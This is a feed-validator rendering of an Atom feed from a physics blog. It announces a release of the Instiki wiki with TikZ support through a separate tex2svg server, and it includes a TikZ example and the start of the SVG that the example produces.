Congratulations!

[Valid Atom 1.0] This is a valid Atom 1.0 feed.

Recommendations

This feed is valid, but interoperability with the widest range of feed readers could be improved by implementing the following recommendations.

Source: https://golem.ph.utexas.edu/%7Edistler/blog/atom10.xml

  1. <?xml version="1.0" encoding="iso-8859-1"?>
  2. <?xml-stylesheet type="text/css" href="https://golem.ph.utexas.edu/~distler/blog/atom.css" ?>
  3. <feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  4.  <title>Musings</title>
  5.  <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/" />
  6.  <link rel="self" href="https://golem.ph.utexas.edu/~distler/blog/atom10.xml" />
  7.  <link rel="replies" type="application/atom+xml" href="https://golem.ph.utexas.edu/~distler/blog/comments.atom"/>
  8.  <updated>2019-05-20T06:10:29Z</updated>
  9.  <subtitle>Thoughts on Science, Computing, and Life on Earth.</subtitle>
  10.  <id>tag:golem.ph.utexas.edu,2003:Musings/1</id>
  11.  <generator uri="http://www.movabletype.org/" version="3.36">Movable Type</generator>
  12.  <icon>https://golem.ph.utexas.edu/~distler/blog/images/favicon.ico</icon>
  13.  <rights>Copyright (c) 2019, Jacques Distler</rights>
  14.  <entry>
  15.    <title type="html">Instiki 0.30.0 and tex2svg 1.0</title>
  16.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/003093.html" />
  17.    <updated>2019-05-20T06:10:29Z</updated>
  18.    <published>2019-02-28T14:21:06-06:00</published>
  19.    <id>tag:golem.ph.utexas.edu,2019:%2F~distler%2Fblog%2F1.3093</id>
  20.    <summary type="text">A new release, with support for Tikz pictures</summary>
  21.    <author>
  22.      <name>distler</name>
  23.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  24.      <email>[email protected]</email>
  25.    </author>
  26.    <category term="Instiki" />
  27.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/003093.html">
  28.      <div xmlns="http://www.w3.org/1999/xhtml">
  29. <p><a href="https://golem.ph.utexas.edu/wiki/instiki/">Instiki</a> is my wiki-cum-collaboration platform. It has a built-in <acronym title="What You See Is What You Get">WYSIWYG</acronym> vector-graphics drawing program, which is great for making figures. Unfortunately:</p>
  30.  
  31. <ul>
  32. <li>An <a href="https://golem.ph.utexas.edu/~distler/blog/archives/002271.html">extra step</a> is required, in order to convert the resulting <abbr title="Scalable Vector Graphics">SVG</abbr> into <abbr title="Portable Document Format">PDF</abbr> for inclusion in the LaTeX paper. And what you end up with is a directory full of little <abbr>PDF</abbr> files (one for each figure), which need to be managed.</li>
  33. <li>Many of my colleagues would rather use <a href="https://en.wikibooks.org/wiki/LaTeX/PGF/TikZ">Tikz</a>, which has become the de-facto standard for including figures in LaTeX.</li>
  34. </ul>
  35.  
  36. <p><em>Obviously,</em> I needed to include Tikz support in <strong>Instiki</strong>. But, up until now, I didn&#8217;t really see a good way to do that, given that I wanted something that is</p>
  37.  
  38. <ol>
  39. <li>Portable</li>
  40. <li>Secure</li>
  41. </ol>
  42.  
  43. <p>Both considerations pointed towards creating a separate, standalone piece of software to handle the conversion, which communicates with <strong>Instiki</strong> over a (local or remote) port. <a href="https://github.com/distler/tex2svg">tex2svg 1.0.1</a> requires a working <a href="https://www.tug.org/texlive/">TeX installation</a> and the <a href="http://www.cityinthesky.co.uk/opensource/pdf2svg/">pdf2svg</a> commandline utility. The latter, in turn, requires the <code>poppler-glib</code> library, which is easily obtained from your favourite package manager. E.g., under <a href="http://www.finkproject.org/">Fink</a>, on MacOS, you do a</p>
  44.  
  45. <blockquote>
  46.  <p><code>fink install poppler8-glib</code></p>
  47. </blockquote>
  48.  
  49. <p>before install <strong>pdf2svg</strong>. </p>
  50.  
  51. <p>But portability is not enough. If you&#8217;re going to expose <strong>Instiki</strong> over the internet, you also need to make it secure. TeX is a Turing-complete language with (limited) access to the file system. It is <em>trivial</em> to compose some simple LaTeX input which, when compiled, will</p>
  52.  
  53. <ul>
  54. <li>exfiltrate sensitive information from the machine or </li>
  55. <li><acronym title="Denial of Service">DoS</acronym> the machine by using up 100% of the <abbr title="Central Processing Unit">CPU</abbr> time or filling up 100% of the available disk space.</li>
  56. </ul>
  57.  
  58. <p>You should never, <em>ever</em> compile a TeX file from an untrusted source.</p>
  59.  
  60. <p><strong>tex2svg</strong> rigorously filters its input, allowing only a known-safe subset of LaTeX commands through. And it limits the size of the input. So it should be safe to use, even on the internet.</p>
  61.  
  62. <p>After starting up the <strong>tex2svg</strong> server, you just uncomment the last line of <code>config/environments/production.rb</code> and restart <strong>Instiki</strong>. Now you can write something like</p>
  63.  
  64. <blockquote><pre><code>\begin{tikzpicture}[decoration={markings,
  65. mark=at position .5 with {\arrow{>}}}]
  66. \usetikzlibrary{arrows,shapes,decorations.markings}
  67. \begin{scope}[scale=2.0]
  68. \node[Bl,scale=.75] (or1) at (8,3) {};
  69. \node[scale=1] at (8.7,2.9) {$D3$ brane};
  70. \node[draw,diamond,fill=yellow,scale=.3] (A1) at (7,0) {};
  71. \draw[dashed] (A1) -- (7,-.7);
  72. \node[draw,diamond,fill=yellow,scale=.3] (A2) at (7.5,0) {};
  73. \draw[dashed] (A2) -- (7.5,-.7);
  74. \node[draw,diamond,fill=yellow,scale=.3] (A3) at (8,0) {};
  75. \draw[dashed] (A3) -- (8,-.7);
  76. \node[draw,diamond,fill=yellow,scale=.3] (A4) at (8.5,0) {};
  77. \draw[dashed] (A4) -- (8.5,-.7);
  78. \node[draw,diamond,fill=yellow,scale=.3] (A5) at (9,0) {};
  79. \draw[dashed] (A5) -- (9,-.7);
  80. \node[draw,circle,fill=aqua,scale=.3] (B) at (9.5,0) {};
  81. \draw[dashed] (B) -- (9.5,-.7);
  82. \node[draw,regular polygon,regular polygon sides=5,fill=purple,scale=.3] (C1) at (10,0) {};
  83. \draw[dashed] (C1) -- (10,-.7);
  84. \node[draw,regular polygon,regular polygon sides=5,fill=purple,scale=.3] (C2) at (10.5,0) {};
  85. \draw[dashed] (C2) -- (10.5,-.7);
  86. \draw (6.8,-.7) -- (6.8,-.9) to (9.2,-.9) to (9.2,-.7);
  87. \draw (9.8,-.7) -- (9.8,-.9) to (10.7,-.9) to (10.7,-.7);
  88. \draw[->-=.75] (C2) to (10.2,.35);
  89. \draw[->-=.75] (C1) to (10.2,.35);
  90. \node[scale=.6] at (9.9,.35) {$(2,2)$};
  91. \draw[->-=.7] (B) to (9.6,.7);
  92. \draw (10.2,.35) to (9.6,.7);
  93. \node[scale=.6] at (9.35,.9) {$(4,0)$};
  94. \draw[->-=.5] (9.1,.8) to (A5);
  95. \draw (9.6,.7) to (9.1,.8) to (A5);
  96. \draw (9.1,.8) to [out=170,in=280] (8.3,1.45);
  97. \draw[dashed] (8.3,1.45) to (8.1,2.5);
  98. \draw[->-=.5] (8.1,2.5) to (or1);
  99. \node[scale=.75] at (7.7,2.7) {$(3,0)$};
  100. %\draw (11.4,2.4) to [out=180,in=90] (6.2,-.5) to [out=90,in=0] (or1) -- cycle;
  101. \node[scale=.75] at (8,-1.1) {A-type};
  102. \node[scale=.75] at (9.5,-1.1) {B-type};
  103. \node[scale=.75] at (10.25,-1.1) {C-type};
  104. \draw[dashed] (8.7,.6) to [out=180,in=90] (6.2,-.55) to [out=270,in=180] (8.7,-1.6) to [out=0,in=270] (11.2,-.55) to [out=90,in=0] (8.7,.6) -- cycle;
  105. \node[scale=1] at (12,.6) {$E_6$ singularity};
  106. \end{scope}
  107. \end{tikzpicture}</code></pre></blockquote>
  108.  
  109. <p>in <strong>Instiki</strong> and have it produce</p>
  110.  
  111. <div style='text-align: center'><svg height='264.139pt' version='1.1' viewBox='0 0 362.922 264.139' width='362.922pt' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'>
  112. <defs>
  113. <g>
  114. <symbol id='glyph5385-0-0' overflow='visible'>
  115. <path d='' style='stroke: none;'/>
  116. </symbol>
  117. <symbol id='glyph5385-0-1' overflow='visible'>
  118. <path d='M 1.578125 -0.78125 C 1.484375 -0.390625 1.46875 -0.3125 0.671875 -0.3125 C 0.515625 -0.3125 0.40625 -0.3125 0.40625 -0.125 C 0.40625 0 0.484375 0 0.671875 0 L 3.984375 0 C 6.046875 0 8.015625 -2.109375 8.015625 -4.28125 C 8.015625 -5.6875 7.171875 -6.8125 5.671875 -6.8125 L 2.328125 -6.8125 C 2.140625 -6.8125 2.03125 -6.8125 2.03125 -6.625 C 2.03125 -6.5 2.109375 -6.5 2.3125 -6.5 C 2.4375 -6.5 2.625 -6.484375 2.734375 -6.484375 C 2.90625 -6.453125 2.953125 -6.4375 2.953125 -6.3125 C 2.953125 -6.28125 2.953125 -6.25 2.921875 -6.125 Z M 3.734375 -6.125 C 3.828125 -6.46875 3.84375 -6.5 4.28125 -6.5 L 5.34375 -6.5 C 6.3125 -6.5 7.140625 -5.96875 7.140625 -4.65625 C 7.140625 -4.171875 6.953125 -2.53125 6.09375 -1.4375 C 5.8125 -1.0625 5.03125 -0.3125 3.796875 -0.3125 L 2.671875 -0.3125 C 2.53125 -0.3125 2.515625 -0.3125 2.453125 -0.3125 C 2.359375 -0.328125 2.328125 -0.34375 2.328125 -0.421875 C 2.328125 -0.453125 2.328125 -0.46875 2.375 -0.640625 Z ' style='stroke: none;'/>
  119. </symbol>
  120. <symbol id='glyph5385-0-2' overflow='visible'>
  121. <path d='M 7.0625 -2.328125 C 7.078125 -2.375 7.109375 -2.4375 7.109375 -2.46875 C 7.109375 -2.46875 7.109375 -2.578125 6.984375 -2.578125 C 6.890625 -2.578125 6.875 -2.515625 6.859375 -2.453125 C 6.203125 -0.984375 5.84375 -0.3125 4.140625 -0.3125 L 2.6875 -0.3125 C 2.546875 -0.3125 2.515625 -0.3125 2.46875 -0.3125 C 2.359375 -0.328125 2.328125 -0.34375 2.328125 -0.421875 C 2.328125 -0.453125 2.328125 -0.46875 2.375 -0.640625 L 3.0625 -3.375 L 4.046875 -3.375 C 4.890625 -3.375 4.890625 -3.15625 4.890625 -2.90625 C 4.890625 -2.84375 4.890625 -2.71875 4.828125 -2.421875 C 4.8125 -2.375 4.796875 -2.34375 4.796875 -2.3125 C 4.796875 -2.265625 4.828125 -2.203125 4.921875 -2.203125 C 5 -2.203125 5.03125 -2.25 5.078125 -2.40625 L 5.640625 -4.734375 C 5.640625 -4.796875 5.59375 -4.84375 5.515625 -4.84375 C 5.4375 -4.84375 5.40625 -4.78125 5.390625 -4.671875 C 5.171875 -3.90625 5 -3.671875 4.078125 -3.671875 L 3.140625 -3.671875 L 3.734375 -6.078125 C 3.828125 -6.4375 3.84375 -6.46875 4.28125 -6.46875 L 5.6875 -6.46875 C 6.890625 -6.46875 7.203125 -6.1875 7.203125 -5.359375 C 7.203125 -5.125 7.203125 -5.109375 7.15625 -4.828125 C 7.15625 -4.78125 7.140625 -4.703125 7.140625 -4.65625 C 7.140625 -4.609375 7.171875 -4.53125 7.265625 -4.53125 C 7.375 -4.53125 7.390625 -4.59375 7.40625 -4.78125 L 7.609375 -6.515625 C 7.640625 -6.78125 7.59375 -6.78125 7.34375 -6.78125 L 2.296875 -6.78125 C 2.109375 -6.78125 2 -6.78125 2 -6.578125 C 2 -6.46875 2.09375 -6.46875 2.28125 -6.46875 C 2.65625 -6.46875 2.9375 -6.46875 2.9375 -6.296875 C 2.9375 -6.25 2.9375 -6.234375 2.875 -6.046875 L 1.5625 -0.78125 C 1.46875 -0.390625 1.453125 -0.3125 0.65625 -0.3125 C 0.484375 -0.3125 0.375 -0.3125 0.375 -0.125 C 0.375 0 0.46875 0 0.65625 0 L 5.828125 0 C 6.0625 0 6.078125 -0.015625 6.140625 -0.171875 Z ' style='stroke: none;'/>
  122. </symbol>
  123. <symbol id='glyph5385-1-0' overflow='visible'>
  124. <path d='' style='stroke: none;'/>
  125. </symbol>
  126. <symbol id='glyph5385-1-1' overflow='visible'>
  127. <path d='M 2.890625 -3.515625 C 3.703125 -3.78125 4.28125 -4.46875 4.28125 -5.265625 C 4.28125 -6.078125 3.40625 -6.640625 2.453125 -6.640625 C 1.453125 -6.640625 0.6875 -6.046875 0.6875 -5.28125 C 0.6875 -4.953125 0.90625 -4.765625 1.203125 -4.765625 C 1.5 -4.765625 1.703125 -4.984375 1.703125 -5.28125 C 1.703125 -5.765625 1.234375 -5.765625 1.09375 -5.765625 C 1.390625 -6.265625 2.046875 -6.390625 2.40625 -6.390625 C 2.828125 -6.390625 3.375 -6.171875 3.375 -5.28125 C 3.375 -5.15625 3.34375 -4.578125 3.09375 -4.140625 C 2.796875 -3.65625 2.453125 -3.625 2.203125 -3.625 C 2.125 -3.609375 1.890625 -3.59375 1.8125 -3.59375 C 1.734375 -3.578125 1.671875 -3.5625 1.671875 -3.46875 C 1.671875 -3.359375 1.734375 -3.359375 1.90625 -3.359375 L 2.34375 -3.359375 C 3.15625 -3.359375 3.53125 -2.6875 3.53125 -1.703125 C 3.53125 -0.34375 2.84375 -0.0625 2.40625 -0.0625 C 1.96875 -0.0625 1.21875 -0.234375 0.875 -0.8125 C 1.21875 -0.765625 1.53125 -0.984375 1.53125 -1.359375 C 1.53125 -1.71875 1.265625 -1.921875 0.984375 -1.921875 C 0.734375 -1.921875 0.421875 -1.78125 0.421875 -1.34375 C 0.421875 -0.4375 1.34375 0.21875 2.4375 0.21875 C 3.65625 0.21875 4.5625 -0.6875 4.5625 -1.703125 C 4.5625 -2.515625 3.921875 -3.296875 2.890625 -3.515625 Z ' style='stroke: none;'/>
  128. </symbol>
  129. <symbol id='glyph5385-1-2' overflow='visible'>
  130. <path d='M 1.71875 -3.765625 L 1.71875 -6.921875 L 0.28125 -6.8125 L 0.28125 -6.5 C 0.984375 -6.5 1.0625 -6.4375 1.0625 -5.9375 L 1.0625 0 L 1.3125 0 C 1.3125 -0.015625 1.390625 -0.15625 1.671875 -0.625 C 1.8125 -0.390625 2.234375 0.109375 2.96875 0.109375 C 4.15625 0.109375 5.1875 -0.875 5.1875 -2.15625 C 5.1875 -3.421875 4.21875 -4.40625 3.078125 -4.40625 C 2.296875 -4.40625 1.875 -3.9375 1.71875 -3.765625 Z M 1.75 -1.140625 L 1.75 -3.1875 C 1.75 -3.375 1.75 -3.390625 1.859375 -3.546875 C 2.25 -4.109375 2.796875 -4.1875 3.03125 -4.1875 C 3.484375 -4.1875 3.84375 -3.921875 4.078125 -3.546875 C 4.34375 -3.140625 4.359375 -2.578125 4.359375 -2.15625 C 4.359375 -1.796875 4.34375 -1.203125 4.0625 -0.75 C 3.84375 -0.4375 3.46875 -0.109375 2.9375 -0.109375 C 2.484375 -0.109375 2.125 -0.34375 1.890625 -0.71875 C 1.75 -0.921875 1.75 -0.953125 1.75 -1.140625 Z ' style='stroke: none;'/>
  131. </symbol>
  132. <symbol id='glyph5385-1-3' overflow='visible'>
  133. <path d='M 1.671875 -3.3125 L 1.671875 -4.40625 L 0.28125 -4.296875 L 0.28125 -3.984375 C 0.984375 -3.984375 1.0625 -3.921875 1.0625 -3.421875 L 1.0625 -0.75 C 1.0625 -0.3125 0.953125 -0.3125 0.28125 -0.3125 L 0.28125 0 C 0.671875 -0.015625 1.140625 -0.03125 1.421875 -0.03125 C 1.8125 -0.03125 2.28125 -0.03125 2.6875 0 L 2.6875 -0.3125 L 2.46875 -0.3125 C 1.734375 -0.3125 1.71875 -0.421875 1.71875 -0.78125 L 1.71875 -2.3125 C 1.71875 -3.296875 2.140625 -4.1875 2.890625 -4.1875 C 2.953125 -4.1875 2.984375 -4.1875 3 -4.171875 C 2.96875 -4.171875 2.765625 -4.046875 2.765625 -3.78125 C 2.765625 -3.515625 2.984375 -3.359375 3.203125 -3.359375 C 3.375 -3.359375 3.625 -3.484375 3.625 -3.796875 C 3.625 -4.109375 3.3125 -4.40625 2.890625 -4.40625 C 2.15625 -4.40625 1.796875 -3.734375 1.671875 -3.3125 Z ' style='stroke: none;'/>
  134. </symbol>
  135. <symbol id='glyph5385-1-4' overflow='visible'>
  136. <path d='M 3.3125 -0.75 C 3.359375 -0.359375 3.625 0.0625 4.09375 0.0625 C 4.3125 0.0625 4.921875 -0.078125 4.921875 -0.890625 L 4.921875 -1.453125 L 4.671875 -1.453125 L 4.671875 -0.890625 C 4.671875 -0.3125 4.421875 -0.25 4.3125 -0.25 C 3.984375 -0.25 3.9375 -0.703125 3.9375 -0.75 L 3.9375 -2.734375 C 3.9375 -3.15625 3.9375 -3.546875 3.578125 -3.921875 C 3.1875 -4.3125 2.6875 -4.46875 2.21875 -4.46875 C 1.390625 -4.46875 0.703125 -4 0.703125 -3.34375 C 0.703125 -3.046875 0.90625 -2.875 1.171875 -2.875 C 1.453125 -2.875 1.625 -3.078125 1.625 -3.328125 C 1.625 -3.453125 1.578125 -3.78125 1.109375 -3.78125 C 1.390625 -4.140625 1.875 -4.25 2.1875 -4.25 C 2.6875 -4.25 3.25 -3.859375 3.25 -2.96875 L 3.25 -2.609375 C 2.734375 -2.578125 2.046875 -2.546875 1.421875 -2.25 C 0.671875 -1.90625 0.421875 -1.390625 0.421875 -0.953125 C 0.421875 -0.140625 1.390625 0.109375 2.015625 0.109375 C 2.671875 0.109375 3.125 -0.296875 3.3125 -0.75 Z M 3.25 -2.390625 L 3.25 -1.390625 C 3.25 -0.453125 2.53125 -0.109375 2.078125 -0.109375 C 1.59375 -0.109375 1.1875 -0.453125 1.1875 -0.953125 C 1.1875 -1.5 1.609375 -2.328125 3.25 -2.390625 Z ' style='stroke: none;'/>
  137. </symbol>
  138. <symbol id='glyph5385-1-5' overflow='visible'>
  139. <path d='M 1.09375 -3.421875 L 1.09375 -0.75 C 1.09375 -0.3125 0.984375 -0.3125 0.3125 -0.3125 L 0.3125 0 C 0.671875 -0.015625 1.171875 -0.03125 1.453125 -0.03125 C 1.703125 -0.03125 2.21875 -0.015625 2.5625 0 L 2.5625 -0.3125 C 1.890625 -0.3125 1.78125 -0.3125 1.78125 -0.75 L 1.78125 -2.59375 C 1.78125 -3.625 2.5 -4.1875 3.125 -4.1875 C 3.765625 -4.1875 3.875 -3.65625 3.875 -3.078125 L 3.875 -0.75 C 3.875 -0.3125 3.765625 -0.3125 3.09375 -0.3125 L 3.09375 0 C 3.4375 -0.015625 3.953125 -0.03125 4.21875 -0.03125 C 4.46875 -0.03125 5 -0.015625 5.328125 0 L 5.328125 -0.3125 C 4.8125 -0.3125 4.5625 -0.3125 4.5625 -0.609375 L 4.5625 -2.515625 C 4.5625 -3.375 4.5625 -3.671875 4.25 -4.03125 C 4.109375 -4.203125 3.78125 -4.40625 3.203125 -4.40625 C 2.46875 -4.40625 2 -3.984375 1.71875 -3.359375 L 1.71875 -4.40625 L 0.3125 -4.296875 L 0.3125 -3.984375 C 1.015625 -3.984375 1.09375 -3.921875 1.09375 -3.421875 Z ' style='stroke: none;'/>
  140. </symbol>
  141. <symbol id='glyph5385-1-6' overflow='visible'>
  142. <path d='M 1.109375 -2.515625 C 1.171875 -4 2.015625 -4.25 2.359375 -4.25 C 3.375 -4.25 3.484375 -2.90625 3.484375 -2.515625 Z M 1.109375 -2.296875 L 3.890625 -2.296875 C 4.109375 -2.296875 4.140625 -2.296875 4.140625 -2.515625 C 4.140625 -3.5 3.59375 -4.46875 2.359375 -4.46875 C 1.203125 -4.46875 0.28125 -3.4375 0.28125 -2.1875 C 0.28125 -0.859375 1.328125 0.109375 2.46875 0.109375 C 3.6875 0.109375 4.140625 -1 4.140625 -1.1875 C 4.140625 -1.28125 4.0625 -1.3125 4 -1.3125 C 3.921875 -1.3125 3.890625 -1.25 3.875 -1.171875 C 3.53125 -0.140625 2.625 -0.140625 2.53125 -0.140625 C 2.03125 -0.140625 1.640625 -0.4375 1.40625 -0.8125 C 1.109375 -1.28125 1.109375 -1.9375 1.109375 -2.296875 Z ' style='stroke: none;'/>
  143. </symbol>
  144. <symbol id='glyph5385-1-7' overflow='visible'>
  145. <path d='M 2.078125 -1.9375 C 2.296875 -1.890625 3.109375 -1.734375 3.109375 -1.015625 C 3.109375 -0.515625 2.765625 -0.109375 1.984375 -0.109375 C 1.140625 -0.109375 0.78125 -0.671875 0.59375 -1.53125 C 0.5625 -1.65625 0.5625 -1.6875 0.453125 -1.6875 C 0.328125 -1.6875 0.328125 -1.625 0.328125 -1.453125 L 0.328125 -0.125 C 0.328125 0.046875 0.328125 0.109375 0.4375 0.109375 C 0.484375 0.109375 0.5 0.09375 0.6875 -0.09375 C 0.703125 -0.109375 0.703125 -0.125 0.890625 -0.3125 C 1.328125 0.09375 1.78125 0.109375 1.984375 0.109375 C 3.125 0.109375 3.59375 -0.5625 3.59375 -1.28125 C 3.59375 -1.796875 3.296875 -2.109375 3.171875 -2.21875 C 2.84375 -2.546875 2.453125 -2.625 2.03125 -2.703125 C 1.46875 -2.8125 0.8125 -2.9375 0.8125 -3.515625 C 0.8125 -3.875 1.0625 -4.28125 1.921875 -4.28125 C 3.015625 -4.28125 3.078125 -3.375 3.09375 -3.078125 C 3.09375 -2.984375 3.1875 -2.984375 3.203125 -2.984375 C 3.34375 -2.984375 3.34375 -3.03125 3.34375 -3.21875 L 3.34375 -4.234375 C 3.34375 -4.390625 3.34375 -4.46875 3.234375 -4.46875 C 3.1875 -4.46875 3.15625 -4.46875 3.03125 -4.34375 C 3 -4.3125 2.90625 -4.21875 2.859375 -4.1875 C 2.484375 -4.46875 2.078125 -4.46875 1.921875 -4.46875 C 0.703125 -4.46875 0.328125 -3.796875 0.328125 -3.234375 C 0.328125 -2.890625 0.484375 -2.609375 0.75 -2.390625 C 1.078125 -2.140625 1.359375 -2.078125 2.078125 -1.9375 Z ' style='stroke: none;'/>
  146. </symbol>
  147. <symbol id='glyph5385-1-8' overflow='visible'>
  148. <path d='M 1.765625 -4.40625 L 0.375 -4.296875 L 0.375 -3.984375 C 1.015625 -3.984375 1.109375 -3.921875 1.109375 -3.4375 L 1.109375 -0.75 C 1.109375 -0.3125 1 -0.3125 0.328125 -0.3125 L 0.328125 0 C 0.640625 -0.015625 1.1875 -0.03125 1.421875 -0.03125 C 1.78125 -0.03125 2.125 -0.015625 2.46875 0 L 2.46875 -0.3125 C 1.796875 -0.3125 1.765625 -0.359375 1.765625 -0.75 Z M 1.796875 -6.140625 C 1.796875 -6.453125 1.5625 -6.671875 1.28125 -6.671875 C 0.96875 -6.671875 0.75 -6.40625 0.75 -6.140625 C 0.75 -5.875 0.96875 -5.609375 1.28125 -5.609375 C 1.5625 -5.609375 1.796875 -5.828125 1.796875 -6.140625 Z ' style='stroke: none;'/>
  149. </symbol>
  150. <symbol id='glyph5385-1-9' overflow='visible'>
  151. <path d='M 2.21875 -1.71875 C 1.34375 -1.71875 1.34375 -2.71875 1.34375 -2.9375 C 1.34375 -3.203125 1.359375 -3.53125 1.5 -3.78125 C 1.578125 -3.890625 1.8125 -4.171875 2.21875 -4.171875 C 3.078125 -4.171875 3.078125 -3.1875 3.078125 -2.953125 C 3.078125 -2.6875 3.078125 -2.359375 2.921875 -2.109375 C 2.84375 -2 2.609375 -1.71875 2.21875 -1.71875 Z M 1.0625 -1.328125 C 1.0625 -1.359375 1.0625 -1.59375 1.21875 -1.796875 C 1.609375 -1.515625 2.03125 -1.484375 2.21875 -1.484375 C 3.140625 -1.484375 3.828125 -2.171875 3.828125 -2.9375 C 3.828125 -3.3125 3.671875 -3.671875 3.421875 -3.90625 C 3.78125 -4.25 4.140625 -4.296875 4.3125 -4.296875 C 4.34375 -4.296875 4.390625 -4.296875 4.421875 -4.28125 C 4.3125 -4.25 4.25 -4.140625 4.25 -4.015625 C 4.25 -3.84375 4.390625 -3.734375 4.546875 -3.734375 C 4.640625 -3.734375 4.828125 -3.796875 4.828125 -4.03125 C 4.828125 -4.203125 4.71875 -4.515625 4.328125 -4.515625 C 4.125 -4.515625 3.6875 -4.453125 3.265625 -4.046875 C 2.84375 -4.375 2.4375 -4.40625 2.21875 -4.40625 C 1.28125 -4.40625 0.59375 -3.71875 0.59375 -2.953125 C 0.59375 -2.515625 0.8125 -2.140625 1.0625 -1.921875 C 0.9375 -1.78125 0.75 -1.453125 0.75 -1.09375 C 0.75 -0.78125 0.890625 -0.40625 1.203125 -0.203125 C 0.59375 -0.046875 0.28125 0.390625 0.28125 0.78125 C 0.28125 1.5 1.265625 2.046875 2.484375 2.046875 C 3.65625 2.046875 4.6875 1.546875 4.6875 0.765625 C 4.6875 0.421875 4.5625 -0.09375 4.046875 -0.375 C 3.515625 -0.640625 2.9375 -0.640625 2.328125 -0.640625 C 2.078125 -0.640625 1.65625 -0.640625 1.578125 -0.65625 C 1.265625 -0.703125 1.0625 -1 1.0625 -1.328125 Z M 2.5 1.828125 C 1.484375 1.828125 0.796875 1.3125 0.796875 0.78125 C 0.796875 0.328125 1.171875 -0.046875 1.609375 -0.0625 L 2.203125 -0.0625 C 3.0625 -0.0625 4.171875 -0.0625 4.171875 0.78125 C 4.171875 1.328125 3.46875 1.828125 2.5 1.828125 Z ' style='stroke: none;'/>
  152. </symbol>
  153. <symbol id='glyph5385-1-10' overflow='visible'>
  154. <path d='M 3.890625 -0.78125 L 3.890625 0.109375 L 5.328125 0 L 5.328125 -0.3125 C 4.640625 -0.3125 4.5625 -0.375 4.5625 -0.875 L 4.5625 -4.40625 L 3.09375 -4.296875 L 3.09375 -3.984375 C 3.78125 -3.984375 3.875 -3.921875 3.875 -3.421875 L 3.875 -1.65625 C 3.875 -0.78125 3.390625 -0.109375 2.65625 -0.109375 C 1.828125 -0.109375 1.78125 -0.578125 1.78125 -1.09375 L 1.78125 -4.40625 L 0.3125 -4.296875 L 0.3125 -3.984375 C 1.09375 -3.984375 1.09375 -3.953125 1.09375 -3.078125 L 1.09375 -1.578125 C 1.09375 -0.796875 1.09375 0.109375 2.609375 0.109375 C 3.171875 0.109375 3.609375 -0.171875 3.890625 -0.78125 Z ' style='stroke: none;'/>
  155. </symbol>
  156. <symbol id='glyph5385-1-11' overflow='visible'>
  157. <path d='M 1.765625 -6.921875 L 0.328125 -6.8125 L 0.328125 -6.5 C 1.03125 -6.5 1.109375 -6.4375 1.109375 -5.9375 L 1.109375 -0.75 C 1.109375 -0.3125 1 -0.3125 0.328125 -0.3125 L 0.328125 0 C 0.65625 -0.015625 1.1875 -0.03125 1.4375 -0.03125 C 1.6875 -0.03125 2.171875 -0.015625 2.546875 0 L 2.546875 -0.3125 C 1.875 -0.3125 1.765625 -0.3125 1.765625 -0.75 Z ' style='stroke: none;'/>
  158. </symbol>
  159. <symbol id='glyph5385-1-12' overflow='visible'>
  160. <path d='M 1.71875 -3.984375 L 3.15625 -3.984375 L 3.15625 -4.296875 L 1.71875 -4.296875 L 1.71875 -6.125 L 1.46875 -6.125 C 1.46875 -5.3125 1.171875 -4.25 0.1875 -4.203125 L 0.1875 -3.984375 L 1.03125 -3.984375 L 1.03125 -1.234375 C 1.03125 -0.015625 1.96875 0.109375 2.328125 0.109375 C 3.03125 0.109375 3.3125 -0.59375 3.3125 -1.234375 L 3.3125 -1.796875 L 3.0625 -1.796875 L 3.0625 -1.25 C 3.0625 -0.515625 2.765625 -0.140625 2.390625 -0.140625 C 1.71875 -0.140625 1.71875 -1.046875 1.71875 -1.21875 Z ' style='stroke: none;'/>
  161. </symbol>
  162. <symbol id='glyph5385-1-13' overflow='visible'>
  163. <path d='M 4.140625 -3.34375 C 4.390625 -3.984375 4.90625 -3.984375 5.0625 -3.984375 L 5.0625 -4.296875 C 4.828125 -4.28125 4.546875 -4.265625 4.3125 -4.265625 C 4.140625 -4.265625 3.671875 -4.28125 3.453125 -4.296875 L 3.453125 -3.984375 C 3.765625 -3.984375 3.921875 -3.8125 3.921875 -3.5625 C 3.921875 -3.453125 3.90625 -3.4375 3.859375 -3.3125 L 2.84375 -0.875 L 1.75 -3.546875 C 1.703125 -3.65625 1.6875 -3.6875 1.6875 -3.734375 C 1.6875 -3.984375 2.046875 -3.984375 2.25 -3.984375 L 2.25 -4.296875 C 1.984375 -4.28125 1.328125 -4.265625 1.15625 -4.265625 C 0.890625 -4.265625 0.484375 -4.28125 0.1875 -4.296875 L 0.1875 -3.984375 C 0.671875 -3.984375 0.859375 -3.984375 1 -3.640625 L 2.5 0 C 2.4375 0.125 2.296875 0.453125 2.25 0.59375 C 2.03125 1.140625 1.75 1.828125 1.109375 1.828125 C 1.0625 1.828125 0.828125 1.828125 0.640625 1.640625 C 0.953125 1.609375 1.03125 1.390625 1.03125 1.21875 C 1.03125 0.96875 0.84375 0.8125 0.609375 0.8125 C 0.40625 0.8125 0.1875 0.9375 0.1875 1.234375 C 0.1875 1.6875 0.609375 2.046875 1.109375 2.046875 C 1.734375 2.046875 2.140625 1.46875 2.375 0.90625 Z ' style='stroke: none;'/>
  164. </symbol>
  165. <symbol id='glyph5385-2-0' overflow='visible'>
  166. <path d='' style='stroke: none;'/>
  167. </symbol>
  168. <symbol id='glyph5385-2-1' overflow='visible'>
  169. <path d='M 1.984375 1.4375 C 1.984375 1.421875 1.984375 1.40625 1.875 1.296875 C 1.125 0.546875 0.9375 -0.578125 0.9375 -1.5 C 0.9375 -2.53125 1.171875 -3.578125 1.90625 -4.328125 C 1.984375 -4.40625 1.984375 -4.40625 1.984375 -4.421875 C 1.984375 -4.46875 1.953125 -4.484375 1.921875 -4.484375 C 1.859375 -4.484375 1.328125 -4.078125 0.96875 -3.328125 C 0.671875 -2.65625 0.59375 -2 0.59375 -1.5 C 0.59375 -1.03125 0.65625 -0.3125 0.984375 0.375 C 1.34375 1.109375 1.859375 1.5 1.921875 1.5 C 1.953125 1.5 1.984375 1.484375 1.984375 1.4375 Z ' style='stroke: none;'/>
  170. </symbol>
  171. <symbol id='glyph5385-2-2' overflow='visible'>
